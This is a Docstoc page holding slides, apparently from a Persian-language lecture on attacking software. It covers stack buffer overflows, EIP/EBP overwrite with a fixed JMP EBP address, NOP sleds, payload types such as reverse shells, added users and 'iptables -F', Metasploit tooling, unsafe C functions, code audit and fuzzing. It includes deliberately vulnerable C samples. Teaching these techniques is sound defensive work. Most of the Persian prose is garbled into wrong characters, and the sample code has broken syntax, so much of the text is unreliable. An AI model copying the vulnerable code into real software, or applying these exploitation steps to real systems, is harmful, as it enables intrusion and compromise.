Docstoc

Attacking_Software

Document Sample
Attacking_Software Powered By Docstoc
					                              ‫هفکالت اهٌیتی ًطم افعاضُا‬


                   ‫هطّضی تط ضّؾ ُای کفف ، حولَ ّ هماتلَ‬

   ‫ؼیس حویس کففی‬
‫‪Hamid@OISSG.org‬‬
  ‫5 تیط هاٍ 7831‬
                      ‫هْاضزی کَ تَ آًِا ذْاُین پطزاذت‬

                   ‫تطضؼی ضّؾ ُای حولَ تَ ًطم افعاضُا‬            ‫‪‬‬
                                    ‫ًطم افعاضُای کاضتطزی‬    ‫‪‬‬
                            ‫هطّضی تط حوالت ؼطضیع تافط‬   ‫‪‬‬

                                    ‫ًطم افعاضُای تحت ّب‬     ‫‪‬‬
  ‫هطّضی تط حوالت ضایح )… ,‪( SQLi, XSS, Harvesting‬‬       ‫‪‬‬

               ‫تطضؼی ضّؾ ُای کفف ضؼف ُای اهٌیتی‬                 ‫‪‬‬
                      ‫تاظتیٌی کس )‪( Source-code Audit‬‬       ‫‪‬‬
                          ‫‪Fuzzing & Fault-Injection‬‬         ‫‪‬‬
                                  ‫‪Binary Analyzing‬‬          ‫‪‬‬
                        ‫تطضؼی ضّؾ ُای هماتلَ تا حوالت‬           ‫‪‬‬
‫ؼیؽتن ُای هحافظتی هْخْز زض ؼغح ؼیؽتن ػاهل ّ ؼرت افعاض‬       ‫‪‬‬
      ‫ؼیؽتن ُای هحافظتی ایداز ـسٍ تْؼظ ًطم افعاضُای خاًثی‬   ‫‪‬‬




                                                                ‫2‬
              ‫حولَ تَ ًطم افعاض – ًطم افعاضُای کاضتطزی‬

             ‫ضؼف اهٌیتی زض ًطم افعاض چیؽت ؟‬           ‫‪‬‬
  ‫هٌظْض اظ ‪ Exploit‬کطزى یک ضؼف اهٌیتی ؟‬               ‫‪‬‬
   ‫اُساف اؼتفازٍ اظ ضؼف ُای اهٌیتی ًطم افعاض‬          ‫‪‬‬
‫‪ ‬ایداز اذتالل زض ضّال کاض ًطم افعاض یا ؼیؽتن )‪(DoS‬‬
‫‪ ‬اخطای زؼتْضالؼولی ذاضج اظ ضّال هؼوْل اخطای ًطم‬
                 ‫افعاض)‪(Controling Software‬‬
        ‫‪ ‬تسؼت گطفتي کٌتطل کاهل ًطم افعاض یا ؼیؽتن‬
                   ‫ػاهل)‪(Controling System‬‬
                              ‫‪ Payload ‬چیؽت ؟‬

                                                      ‫3‬
                         ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

                             ‫تطضؼی ضّال اخطای یک ًطم افعاض‬                 ‫‪‬‬
       ‫‪ ‬اذتماق یک هحسّزٍ آزضغ زض حافظَ تطای تاضگصاضی‬
                            ‫زؼتْضالؼول ُا ّ اعالػات الظم‬
            ‫‪ ‬تاضگصاضی ؼگوٌت ُای تؼطیف ـسٍ زض ًطم افعاض‬
                             ‫‪ : .text ‬حاّی زؼتْضالؼول ُای اخطایی تطًاهَ‬
‫‪ : .bss ‬حاّی اعالػات ّ هتغیط ُای تؼطیف ًفسٍ )‪( uninitialized data‬‬

‫‪ : .data ‬حاّی اعالػات ّ هتغیط ُای تؼطیف ـسٍ )‪( static initialized data‬‬

                              ‫‪ ‬اذتماق فضای ‪Heap ّ Stack‬‬


                                                                           ‫4‬
                     ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

  ‫ؼطضیع تافط ظهاًی ضخ هیسُس کَ حدن اعالػات کپی ـسٍ تَ تافط ،‬    ‫‪‬‬
                      ‫تیفتط اظ هیعاى هفرك ـسٍ تطای تافط تاـس.‬
‫>‪#include <stdio.h‬‬
‫)‪Int main (int arge , char **argv‬‬
‫{‬
‫‖‪char target[5]=“AAAA‬‬
‫;)‖‪strcpy(target, ―AAAAABBBBCCCC‬‬
‫;)‖‪Printf(―%\n‖,target‬‬
‫;0 ‪Return‬‬
‫}‬

                                                                ‫5‬
                                    ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

               Stack Overflow َ‫تطضؼی یک کس آؼیة پصیط ت‬                       
#include <iostream.h>
#include <stdio.h>                                          12345...
#include <conio.h>
#include <stdio.h>

int Hijack()
{            cout << "This function should be hijacked!";
             getchar();                                        ... .AB C D
             return 0; }
                                                                 EIP
int Function1()
{           char var1[15];
            cout << "_________1234567890abcd" <<
endl;                                                           Main()
            cout << "Enter Var1:";
            cin >> var1;
            cout << var1 << endl;
            return 0; }                                        Hijack()
int main()
{           Function1();
            getchar();                                                       6
            return 0; }
              ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

‫اتفالی کَ پػ اظ ؼطضیع تافط ضخ هیسُس : ترطیة ضّال اخطا‬   ‫‪‬‬
                                   ‫...54321‬


                                   ‫6543210.....‬

                                     ‫) ‪EBP ( AAAA‬‬
                                     ‫) ‪EIP ( BCDE‬‬


                                        ‫)(‪Main‬‬


                                        ‫)(‪Hijack‬‬


                                                        ‫7‬
                        ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

‫اؼتفازٍ اظ لاتلیت تغییط‪ EIP‬تطای کٌتطل ًطم افعاض ّفطاذْاًی تْاتؼی کَ زض ضّال اخطای‬   ‫‪‬‬
                                                ‫هؼوْلی تطًاهَ , فطاذْاًی ًویفًْس‬
                                                             ‫...54321‬


                                                             ‫6543210.....‬

                                                                ‫) ‪EBP ( AAAA‬‬
                                                               ‫) 05010400( ‪EIP‬‬


                                                                     ‫)(‪Main‬‬



                                                                    ‫)(‪Hijack‬‬

                                                                                    ‫8‬
                        ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

   ‫تا اؼتفازٍ اظ ضّؾ شکط ـسٍ ، هیتْاى السام تَ اخطای کس ّ زؼتْضات زلرْاٍ‬    ‫‪‬‬
                                                                    ‫ًوْز‬
        ‫تا تْخَ تَ ایٌکَ زازٍ ُای اضؼالی ها هؽتمیوآ زض حافظَ زضج هیفًْس ،‬   ‫‪‬‬
                                  ‫زؼتْضات هی تایؽت تَ ظتاى هاـیي تاـس.‬
‫تَ زؼتْضاتی کَ تطای اخطا زض حافظَ زضج هیفًْس الغالحآ ‪ Payload‬گفتَ‬           ‫‪‬‬
                                                                   ‫هیفْز‬
     ‫ضػایت ًکطزى ًکاتی ُوچْى ػسم اؼتفازٍ اظ کاضاکتطُای ذاق )00‪( 0x‬‬          ‫‪‬‬
                                                ‫تاػث تطّظ هفکل ذْاُس ـس‬
  ‫تطای ایٌکَ تتْاًین زؼتْضات زلرْاٍ ذْز ضا اخطا کٌین ، هیثایؽت آزضغ زلیك‬    ‫‪‬‬
                                        ‫آًِا ضا پػ اظ زضج زض حافظَ تساًین‬
 ‫ضّال پیازٍ ؼاظی حوالت زض ّالؼیت ، تؽیاض پیچیسٍ تط ّ هفکل تط هیثاـس ~‬       ‫‪‬‬



                                                                            ‫9‬
                               ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

‫...54321‬                       ‫اظ زیس پطزاظًسٍ ، تفاّتی هیاى زؼتْضالؼول ُا ّ زازٍ ُا ّخْز‬   ‫‪‬‬
‫]‪[Injected Payload‬‬         ‫ًساضز . ّضّزی زازٍ ـسٍ زضلْضتی کَ زؼتْض ظتاى هاـیي هؼتثط‬
                                                                     ‫تاـس اخطا ذْاُس ـس.‬
‫6543210.....‬                 ‫یکی اظ ضّؾ ُای تعضیك ‪ Payload‬زضحافظَ ، اضؼال آى زض‬             ‫‪‬‬
                                                 ‫لالة پاضاهتطُای ّضّزی ًطم افعاض هیثاـس‬
   ‫) ‪EBP ( AAAA‬‬
                                  ‫ؼطضیع تافط هیتْاًس ُن زض فضای ‪ُ ّ Stack‬ن زض فضای‬          ‫‪‬‬
‫)}‪EIP (0x{Payload Offset‬‬
                                                                          ‫‪ Heap‬ضخ زُس‬
                           ‫تؽتَ تَ هحل ّلْع ؼطضیع )‪ً ( stack / Heap overflow‬حٍْ‬             ‫‪‬‬
       ‫)(‪Main‬‬                 ‫تغییط ضّال اخطای تطًاهَ ّ پطؾ تَ هحل ‪ Payload‬هتفاّت‬
                                ‫تْزٍ ّتکٌیک ُا ّ ضّؾ ُای هرتلفی تطای ُط حالت ّخْز‬
                                                                                    ‫زاضز.‬
       ‫)(‪Hijack‬‬               ‫لاتلیت تاظًْیؽی ‪ EIP‬العاهی ًیؽت ! زض ًظط زاـتَ تاـیس کَ‬       ‫‪‬‬
                             ‫تاظًْیؽی ُط یک اظ ثثات ُا هیتْاًس زض ًِایت هٌدط تَ اخطای‬
                    ‫00‪0x‬‬
                                                                        ‫‪ Payload‬گطزز‬

                                                                                            ‫01‬
                                  ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬
                    ‫ضّال پیازٍ ؼاظی حوالت زض ّالؼیت ، تؽیاض پیچیسٍ تط ّ هفکل تط هیثاـس:‬                 ‫‪‬‬
‫آزضغ ُای تاضگصاضی تْاتغ ّ ‪ُ Dll‬ا تؽتَ تَ ُط ًؽرَ ًطم افعاض ، ؼیؽتن ػاهل ّ حتی ‪Service‬‬               ‫‪‬‬
                                                                     ‫‪ Pack‬تغییط هیکٌس‬
      ‫زض تطذی هْاضز ، آزضغ ُا ّ ‪ُ offset‬ای ثاتت کَ زض تواهی ًؽد یکؽاى ُؽتٌس ًیع ّخْز زاضًس‬      ‫‪‬‬

                           ‫ًیاظ تَ آگاُی اظ آزضغ زلیك زؼتْضات زضج ـسٍ )‪ (Payload‬زض حافظَ‬            ‫‪‬‬
                  ‫تط ذالف ‪ ، Linux‬ترویي آزضغ زلیك ‪ Stack‬زض ّیٌسّظ تطاحتی اهکاًپصیط ًیؽت‬         ‫‪‬‬
                                                       ‫اؼتفازٍ اظ تکٌیک ‪Return-to-lib/dll‬‬       ‫‪‬‬
                                                                   ‫اؼتفازٍ اظ ‪NOP Sled‬‬          ‫‪‬‬
                                        ‫هحسّزیت زض حدن زؼتْضاتی کَ هیتْاى زض تافط زضج کطز‬           ‫‪‬‬
            ‫اؼتفازٍ اظ ترؿ ُای هرتلف حافظَ کَ لاتلیت تعضیك زض آًِا ّخْز زاضز ، ّ پطؾ تیي آًِا‬   ‫‪‬‬
                                                       ‫اؼتفازٍ اظ ‪ُ Payload‬ای چٌس هطحلَ ایی‬     ‫‪‬‬

                                  ‫هحسّزیت زض اؼتفازٍ اظکاضاکتطُایی کَ زض حافظَ زضج هیگطزز‬           ‫‪‬‬
                              ‫ـٌاؼایی کاضاکتطُایی کَ پػ اظ تعضیك زض حافظَ زؼتکاضی هیفًْس‬        ‫‪‬‬
                             ‫‪ Encode‬کطزى ‪ Payload‬تطای پطُیع اظ ّخْز کاضاکتطُای ذاق‬              ‫‪‬‬

                                                               ‫ًحٍْ اضؼال زؼتْضات تَ ًطم افعاض‬      ‫‪‬‬




                                                                                                        ‫11‬
                                  ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬
   ‫‪ ‬زض ظتاى هاـیي ، اهکاى همساض زُی تَ ‪ EIP‬تمْضت هؽتمین ّخْز ًساضز ) همازیط ؼایط ثثات ُا تْؼظ‬
                                       ‫زؼتْضاتی چْى ‪ ... CALL MOV JMP‬تَ ‪ EIP‬زازٍ هیفًْس (‬
   ‫‪ ‬زض هثالی کَ پیؿ اظ ایي شکط ـس ، تا فطن ایٌکَ ها اهکاى تسؼت آّضزى آزضغ زلیك ‪ Payload‬تطای‬
    ‫اؼتفازٍ زضتاظًْیؽی ‪ EIP‬ضا زض ًساضین ، هیثایؽت اظ همساض تاظًْیؽی ـسٍ ؼایط ثثات ُا اؼتفازٍ کٌین .‬
      ‫‪ EBP ‬تاظًْیؽی ـسٍ ، پػ تایس تَ زًثال زؼتْضالؼولی تاـین کَ هحتْای ‪ EBP‬ضا زض ‪ EIP‬زضج کٌس‬
                                                                                       ‫)‪( JMP EBP‬‬
    ‫‪ ‬لسم تؼس ، تاظًْیؽی ‪ EBP‬تطای اـاضٍ تَ آزضؼی اظ حافظَ اؼت کَ زض آى زؼتْضالؼول ‪JMP EBP‬‬
                                                                                      ‫ّخْز زاـتَ تاـس‬
 ‫‪ً ‬کتَ : تْاتغ کتاتراًَ ایی پْیا)‪ُ ( DLL‬وْاضٍ زض آزضغ ُای هفرمی اظ حافظَ تاضگعاضی هیفًْس . زض‬
  ‫ُط یک اظ ‪ُ DLL‬ای هْخْز زض حافظَ هوکي اؼت ترفی اظ زؼتْضات ، زؼتْضات هْضز ًظط ها تاـس‬
‫‪ ‬ایسٍ : خؽتدْی هحسّزٍ آزضغ تْاتغ کتاتراًَ ایی تطای زؼتْضالؼول هْضز ًظط ها ، ّ تسؼت آّضزى آزضغ‬
                                                                             ‫)‪ ( offset‬آى زؼتْضالؼول‬
                                                               ‫‪ ‬اؼتفازٍ اظ اتعاضُایی هاًٌس ‪FindJump‬‬
                         ‫‪ ‬تاظًْیؽی ‪ EIP‬تا ‪ 0x7c822cac‬هحتْیات ‪ EBP‬ضا زض ‪ EIP‬تاظًْیؽی هیکٌس‬
                                                       ‫‪ ‬تسیي تطتیة تسّى ًیاظ تَ زضج آزضغ ‪Payload‬‬
                                                                   ‫تغْض هؽمین زض ‪ ، EIP‬آًطا اخطا هیکٌین‬
                                                                  ‫‪ً ‬تیدَ : پایساضی تیفتط زض ضّال حولَ‬


                                                                                                    ‫21‬
                               ‫ًطم افعاضُای کاضتطزی – حوالت ؼطضیع تافط‬

                     ‫ًتیدَ ًِایی ، ًوایی اظ ‪ Stack‬پػ اظ حولَ‬                                                       ‫‪‬‬
‫]… ‪GET / AA….A[ 0x90 Nop] [ JMP ] [overwrite EBP] [Overwrite EIP] [NOP] […. Payload‬‬

                          ‫5‬            ‫3‬     ‫6‬


‫‪AA...A‬‬      ‫‪NOP Sled‬‬          ‫‪jmp EBPEIP NOP‬‬                             ‫‪Payload‬‬


                      ‫4‬                                        ‫‪ EIP‬با آدرضی کو بو ‪ jmp ebd‬اشاره دارد بازنٌیطی میشٌد‬     ‫1.‬
                                                                      ‫پردازنذه بو آدرش مراجعو کرده ً دضتٌر اجرا میشٌد‬   ‫2.‬
                          ‫2‬           ‫1‬
                                                     ‫محتٌیات ‪ EBP‬کو بو محل ‪ Nop Sled‬در حافظو اشاره دارد ، در ‪EIP‬‬        ‫3.‬
                                                                                                    ‫بازنٌیطی میشٌد‬
                       ‫‪Jmp ebp‬‬                   ‫پردازنذه با تٌجو بو ‪ ، EIP‬برای ادامو اجرای دضتٌرات بو آدرش ‪Nop Sled‬‬    ‫4.‬
                                                                                                      ‫مراجعو میکنذ‬
                      ‫‪Kernel32.dll‬‬
                                                      ‫پص از پایان ‪ Nop‬پردازنذه بو دضتٌر پرظ بو ‪ Nop Sled‬دًم میرضذ‬       ‫5.‬
                                              ‫‪ Nop Sled‬دًم اجرا شذه ً رًال در نيایت بو اجرای ‪ Payload‬ختم میگردد.‬        ‫6.‬

                                                                                                                   ‫31‬
                                        ‫حوالت ؼطضیع تافط – تطضؼی ‪ُ Payload‬ا‬
                                              ‫تَ هطحلَ اخطای ‪ Payload‬ضؼیسین . چَ اًتراب ُایی پیؿ ضّ زاضین ؟‬          ‫‪‬‬
     ‫هطاحل ازاهَ حولَ پػ اظ تاضگصاضی هْفمیت آهیع ‪ ، Payload‬الغالحآ ‪ Post Exploitation‬ذْاًسٍ هیفًْس .‬                 ‫‪‬‬
                                                           ‫ّخَ هفتطک ُوَ ‪ُ Payload‬ا : تط اؼاغ ظتاى هاـیي‬             ‫‪‬‬
‫ّخَ توایع : اخطای ‪ Payload‬زض حافظَ ُط ‪ ّ Platform‬هؼواضی پطزاظًسٍ ، هیثایؽت تط اؼاغ ُواى ـطایظ تاـس .‬                 ‫‪‬‬
  ‫تطای تِیَ ّ ًْـتي ‪ Payload‬تطای ُط هؼواضی هیثایؽت اظ ظتاى هاـیي ُواى پطزاظًسٍ اؼتفازٍ ـْز ) , 46/23‪IA‬‬               ‫‪‬‬
                                                                          ‫‪( ...ّ SPARC , PowerPC, MIPS‬‬
          ‫زؼتْضاتی کَ ‪ Payload‬لمس اخطای آًطا زاضًس ، هیثایؽت هٌغثك تا ؼیؽتن ػاهلی تاـس کَ تَ آى حولَ هیفْز .‬         ‫‪‬‬
                                                                                  ‫تطذی اظ ‪ُ Payload‬ای ضایح :‬         ‫‪‬‬
                                        ‫اخطای زؼتْضات تط ضّی ؼیؽتن ػاهل ) … , ‪( add user , iptables –F‬‬          ‫‪‬‬
                                        ‫فطاُن کطزى زؼتطؼی اظ ضاٍ زّض تَ ؼیؽتن ُسف ) ‪( Reverse/Bind Shell‬‬        ‫‪‬‬
                        ‫فطاُن کطزى زؼتطؼی پیفطفتَ اظ عطیك ‪ُ Payload‬ای پیچیسٍ )‪( Meterpreter , MOSDEF‬‬            ‫‪‬‬
                              ‫‪ Proxy‬کطزى فطاهیي ظتاى هاـیي تَ ؼیؽتن ُسف ، تطای اخطا )‪( SysCall Proxying‬‬         ‫‪‬‬
                                    ‫زض ـطایظ هؼوْلی ، هیتْاى اظ ‪ُ Shellcode‬ای اظ پیؿ آهازٍ ـسٍ اؼتفازٍ کطز‬           ‫‪‬‬
                                                                         ‫/‪http://milw0rm.com/shellcode‬‬          ‫‪‬‬
                                   ‫‪http://metasploit.org/data/shellcode/win 32msf20payloads.tar.gz‬‬              ‫‪‬‬
  ‫تؽتَ ‪ Metasploit Framework‬تیؿ اظ یکمس ‪ Payload‬آهازٍ تطای اؼتفازٍ زضـطایظ ، ؼیؽتن ػاهل ُا ّ هؼواضی ُای‬         ‫‪‬‬
                                                ‫هرتلف پطزاظًسٍ ضا زض اذتیاض لطاض هیسُس. )‪( www.metasploit.org‬‬




                                                                                                                    ‫41‬
                        ‫حوالت ؼطضیع تافط – ‪Exploit Frameworks‬‬

      ‫ُواًغْض کَ تطضؼی ـس ، پیازٍ ؼاظی یک حولَ ؼطضیع تافط هؽتلعم عی‬                       ‫‪‬‬
                                                  ‫هطاحل هرتلف هیثاـس‬
‫اًدام تطذی هطاحل هؽتلعم تْلیس کس/اتعاضُای ذاق تطای ؼطػت ترفیسى تَ کاض هیثاـس‬          ‫‪‬‬
‫تْلیس ‪ُ Payload‬ا ّ تِیٌَ ؼاظی ّ آظهایؿ آًِا اهطی ظهاى تط ّ ًیاظهٌس تدطتَ هیثاـس‬       ‫‪‬‬
        ‫زض لْضت لعّم پطُیع اظ کاضاکتطُای ذاق ، پطّؼَ تْلیس یا ‪ Encode‬کطزى‬             ‫‪‬‬
                                                     ‫‪ Payload‬هیثایؽت تکطاضـْز‬
     ‫تطای اؼتفازٍ اظ یک ضؼف اهٌیتی زض ـطایظ هرتلف ، هیثایؽت اظ ‪ُ Payload‬ای‬            ‫‪‬‬
                                                               ‫هتفاّتی اؼتفازٍ گطزز‬
 ‫تا ُطتاض ًیاظ تَ ایداز تغییط خعئی زض کس اکؽپلْیت ، کس هیثایؽت هدسزآ کاهپایل ّ هْضز‬   ‫‪‬‬
                                                                  ‫اؼتفازٍ لطاض گیطز‬
    ‫ّخْز یک هدوْػَ اظ اتعاضُا ّ اهکاًات زض کٌاض یکسیگط کَ لطفآ تطای‬                       ‫‪‬‬
   ‫آًالیع ّ تْلیس کس ُای اکؽپلْیت تطای حوالت ؼطضیع تافط تْلیس ـسٍ ، کوک‬
                                               ‫تعضگی هحؽْب هیگطزز.‬

                                                                                          ‫51‬
                       ‫حوالت ؼطضیع تافط – ‪Exploit Frameworks‬‬

           ‫‪ُ Exploitation Framework‬ای هْخْز تَ ها کوک هیکٌٌس تا‬                                       ‫‪‬‬
 ‫تٌِا یکثاض السام تَ هؼطفی هفرمات ضؼف اهٌیتی پطزاذتَ ّ پػ اظ آى تسّى ًیاظ تَ‬                      ‫‪‬‬
                    ‫تغییط ذالی زض کس ، تاضُا ّ زض ـطایظ هرتلف اظ آى اؼتفازٍ کٌین‬
                  ‫ًگطاى هطاحل ظهاًگیط تْلیس ّ تؽت ‪ُ Payload‬ای هرتلف ًثاـین‬                        ‫‪‬‬
‫تطاحتی ّ تا اؼتفازٍ اظ ‪ُ Encoder‬ای هْخْز ، هفکل کاضاکتطُای فیلتط ـسٍ ) ‪Bad‬‬                        ‫‪‬‬
                                                               ‫‪ ( chars‬ضا حل کٌین‬
                           ‫اظ اهکاًات هْخْز زض ‪ُ Payload‬ای پیفطفتَ اؼتفازٍ کٌین‬                   ‫‪‬‬
                    ‫تؼساز ذغْط کس الظم تطای تْلیس یک اکؽپلْیت تؽیاض کاُؿ هیثاتس‬                   ‫‪‬‬
                  ‫کوتط اظ 5 ذظ کس زض هحیظ ‪ Framework‬هؼازل زٍ ُا ذظ کس زض یک اکؽپلْیت هؽتمل!‬   ‫‪‬‬

                             ‫هؼطفی ‪ ّ Metasploit Framework‬اهکاًات آى‬                                  ‫‪‬‬
                                                   ‫اتعاضُای کوکی تطای عی هطاحل اّلیَ‬              ‫‪‬‬
                       ‫تْلیس ‪ Pattern‬تطای ؼطضیع کطزى تافط )‪( pattern_create.rb‬‬                ‫‪‬‬
    ‫هحاؼثَ ؼایع تافط ، ّ تؼساز تایت الظم تطای ؼطضیع کطزى تافط )‪( pattern_offset.rb‬‬            ‫‪‬‬
                  ‫تاًک اعالػاتی تؽیاض کاهل تطای یافتي ‪ُ offset‬ای هرتلف ّ هٌاؼة‬                ‫‪‬‬
                                                 ‫)/‪( http://metasploit.org/opcodedb‬‬



                                                                                                      ‫61‬
Metasploit Framework




     DEMO




                       17
                              ‫حوالت ؼطضیع تافط – ػلت تطّظ هفکل‬

‫حوالت ؼطضیعتافط ًاـی اظ اـتثاُات تطًاهَ ًْیػ زض اؼتفازٍ اظ تْاتغ ظتاى‬       ‫‪‬‬
                                                     ‫تطًاهَ ًْیؽی ُؽتٌس.‬
   ‫تؽیاضی اظ تْاتغ ، تَ ذْزی ذْز ّضّزی/ذطّخی ذْز ضا کٌتطل ًویکٌٌس‬           ‫‪‬‬
‫اًتظاض هیطّز کَ تطًاهَ ًْیػ پیؿ اظ اؼتفازٍ اظ چٌیي تْاتؼی ، حدن ّ ًْع‬       ‫‪‬‬
 ‫اعالػات اضؼالی/ زضیافتی اظ تاتغ ضا کٌتطل کٌس تا اظ تطّظ هفکل خلْگیطی‬
                                                                    ‫ـْز.‬
  ‫تطذی اظ تْاتغ کَ اؼتفازٍ اظ آًِا تسّى کٌتطل لثلی ، هٌدط تَ ؼطضیع تافط‬     ‫‪‬‬
  ‫هیگطزز : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬
                                                      ‫)(‪,gets() ,scanf‬‬
    ‫اؼتفازٍ اظ تْاتغ کتاتراًَ ایی کَ زاضای هفکل ُؽتٌس ، تطًاهَ ـوا ضا ًیع‬   ‫‪‬‬
                                              ‫زّچاض هفکل اهٌیتی هیکٌٌس.‬


                                                                            ‫81‬
                                         ‫حوالت ؼطضیع تافط – ػلت تطّظ هفکل‬

Vulnerable Function                 Function’s Purpose                                        Why Vulnerable


    Memcpy()          Copies one part of the memory to another, taking       It can place too much data, into too small a buffer,
                            two a source, a destination and a number of                       thus causing an overflow.
                                         bytes as arguments.



      Gets()          Receives data from the user, and places it into a      Doesn’t check how much data has been placed in
                                              buffer.                                     the buffer, perhaps too much!




     Sprintf()          Places formatted data into a buffer, replacing        It doesn’t check how much data is being placed
                            arguments with data, for example ‘%s’, ‘hi’                           into the buffer.
                             being written to buffer[5]; would result in
                            not ‘%s’ being placed in the buffer, but ‘hi’.




      Strcat()           Sticks one buffer onto the end of another.           Doesn’t check that the data being added will fit
                                                                                             within the buffer limits/


     Strcpy()           Copies the content of one buffer to another.         Once again, the destination length is not compared
                                                                                              with the source length.




                                                                                                                                    19
                                     ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض‬

‫تکٌیک ُا ّ ضّؾ ُای هتفاّتی تطای ـٌاؼایی ضؼف ُای اهٌیتی هْخْز زض‬             ‫‪‬‬
                                             ‫ًطم افعاضُا ّخْز زاضز‬
                                    ‫تطضؼی کس )‪(Source-Code Audit‬‬      ‫‪‬‬
                                         ‫‪Fuzzing & Fault-Injection‬‬    ‫‪‬‬
                                 ‫‪Binary (Static/Dynamic) Analyze‬‬      ‫‪‬‬
    ‫تؽتَ تَ ـطایظ ، اهکاًات ّزلت ػول الظم اظ یک یا تطکیثی اظ چٌس ضّؾ‬        ‫‪‬‬
                                   ‫تطای آًالیع یک ًطم افعاض اؼتفازٍ هیفْز‬
                ‫العاهآ پیچیسٍ تطیي ضّؾ ، ُویفَ تِیٌَ تطیي ضّؾ ًیؽت !‬        ‫‪‬‬
    ‫اگطچَ تؽیاضی اظ تکٌیک ُای کفف ّ ـٌاؼایی هفکالت اهٌیتی تمْضت‬             ‫‪‬‬
‫‪ً Automated‬یع زضاذتیاضُؽتٌس ، اها ُوْاضٍ ًیاظ تَ یک کاضتط هؽلظ ّ تا‬
                                                        ‫تدطتَ ّخْز زاضز.‬
       ‫لعّهآ ُط هفکل ؼطضیع تافط ـٌاؼایی ـسٍ ، لاتل اؼتفازٍ تطای اخطای‬       ‫‪‬‬
                                                         ‫کس/زؼتْض ًیؽت .‬


                                                                            ‫02‬
                          ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض – ‪Code Audit‬‬

                                                 ‫تطضؼی کس )‪(Source-Code Audit‬‬                    ‫‪‬‬
          ‫))(‪( ... strcat(), strcpy() ,sprintf(), vsprintf‬‬   ‫‪ ‬خؽتدْ تطای ـٌاؼایی تْاتغ پط ذغط‬
                    ‫کٌتطل ضّال تطًاهَ ، تطای ـٌاؼایی هفکالت هٌغمی )‪(Logical‬‬                 ‫‪‬‬
‫ضّال خؽتدْ تمْضت ‪ ) Static‬تسّى اخطای کس ( ّ ‪ ) Dynamic‬اخطا ّ تطضؼی کس (‬                     ‫‪‬‬

        ‫ّخْز یک تاتغ آؼیة پصیط زض کس ، تَ هؼٌی ّخْز هفکل اهٌیتی ًیؽت‬                             ‫‪‬‬
                      ‫تطضؼی ّ ذْاًسى کس ػولی ذؽتَ کٌٌسٍ ّ ظهاًثط اؼت.‬                            ‫‪‬‬
       ‫حتی ًطم افعاضُا ّ تْاتغ ؼازٍ ، هتفکل اظ چٌسیي ُعاضذظ کس هیثاـٌس.‬                          ‫‪‬‬
‫یکی اظ ضّؾ ُای تؽطیغ تطضؼی ، توطکع تط ضّی ترؿ ُایی اظ کس اؼت کَ‬                                  ‫‪‬‬
‫احتوال ّخْز هفکل زض آًِا تاالؼت ) تْاتغ زضیافت ّضّزی ، ذْاًسى ّ ًْـتي‬
                                                            ‫زازٍ ّ ... (‬


                                                                                                 ‫12‬
                   ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض – ‪Code Audit‬‬

                                  ‫تطضؼی کس )‪(Source-Code Audit‬‬                              ‫‪‬‬
                                ‫اؼتفازٍ اظ اتعاضُای ‪ Automated‬تطای تطضؼی کس‬             ‫‪‬‬
                              ‫اتعاضُای آظاز ّ تداضی تؽیاضی تسیي هٌظْض تْلیس ـسٍ‬     ‫‪‬‬

                 ‫ؼطػت ػول ایي اتعاضُا زض همایؽَ تا ضّؾ هؼوْلی ، تؽیاض تاالؼت‬        ‫‪‬‬

      ‫اتعاضُا غالثآ تطای تطضؼی یک یا چٌس ظتاى تطًاهَ ًْیؽی ذاق عطاحی هیفًْس‬         ‫‪‬‬

            ‫زضلس گعاضؾ ُای ذغا )‪ ( False Positive‬زض ایٌگًَْ اتعاضُا تاالؼت‬          ‫‪‬‬

‫ایي لثیل اتعاضُا لازض تَ تفریك ّ گعاضؾ هفکالت اهٌیتی ًاـی اظ ذغاُای ‪Logical‬‬         ‫‪‬‬
                                                                           ‫ًیؽتٌس‬
 ‫اؼتفازٍ اظ ایي اتعاضُا تَ تٌِایی ، تطای تطضؼی اهٌیتی یک ًطم افعاض ُطگع کافی ًیؽت‬   ‫‪‬‬

        ‫لیؽتی اظ اتعاضُای ‪ Automated‬تطای ‪: Static Code Audit‬‬                                ‫‪‬‬
           ‫‪http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬
          ‫‪http://samate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬




                                                                                            ‫22‬
                           ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Fuzzing‬‬

                                        ‫‪Fuzzing & Fault-Injection‬‬                  ‫‪‬‬
            ‫‪ُ ‬عیٌَ کوتط زض همایؽَ تا ؼایط ضّؾ ُا ، تَ ًؽثت تاظزُی‬
       ‫‪ ‬لاتلیت پیازٍ ؼاظی تا پیچیسگی کوتط ، زض همایؽَ تا ؼایط ضّؾ ُا‬
                  ‫‪ ‬تطضؼی ‪ً BlackBox‬طم افعاض تطای کفف هفکالت‬
‫‪ ‬تْلیس ّضّزی ُای تمازفی اها کٌتطل ـسٍ ، کَ هٌدط تَ ایداز اذتالل زض‬
                                           ‫ضًّس کاض ًطم افعاض گطزز.‬
                       ‫تغصیَ ًطم افعاض ّ پاضاهتط ُا تا زازٍ ُای کاهآل تمازفی‬   ‫‪‬‬
 ‫تغصیَ ًطم افعاض ّ پاضاهتطُا زض لالة پطّتکل ُا ّ اؼتاًساضزُای هفرك ، اها تا‬    ‫‪‬‬
                                                 ‫پاضاهتطُا ّ همازیط تمازفی‬
‫‪ ‬زازٍ ُای تْلیس ـسٍ تْؼظ ‪ Fuzzer‬تایس آًمسض حؽاب ـسٍ تاـٌس تا اظ زیس‬
‫ًطم افعاض لاتل زضیافت ّ هحاؼثَ تاـٌس ، ّ زض ػیي حال آًمسض تمازفی ّ‬
                   ‫هاهتؼاضف کَ تتْاًٌس ًطم افعاض ضا زّچاض اذتالل کٌٌس.‬



                                                                                   ‫32‬
                                    ‫ـٌاؼایی هفکالت اهٌیتی ًطم افعاض- ‪Fuzzing‬‬
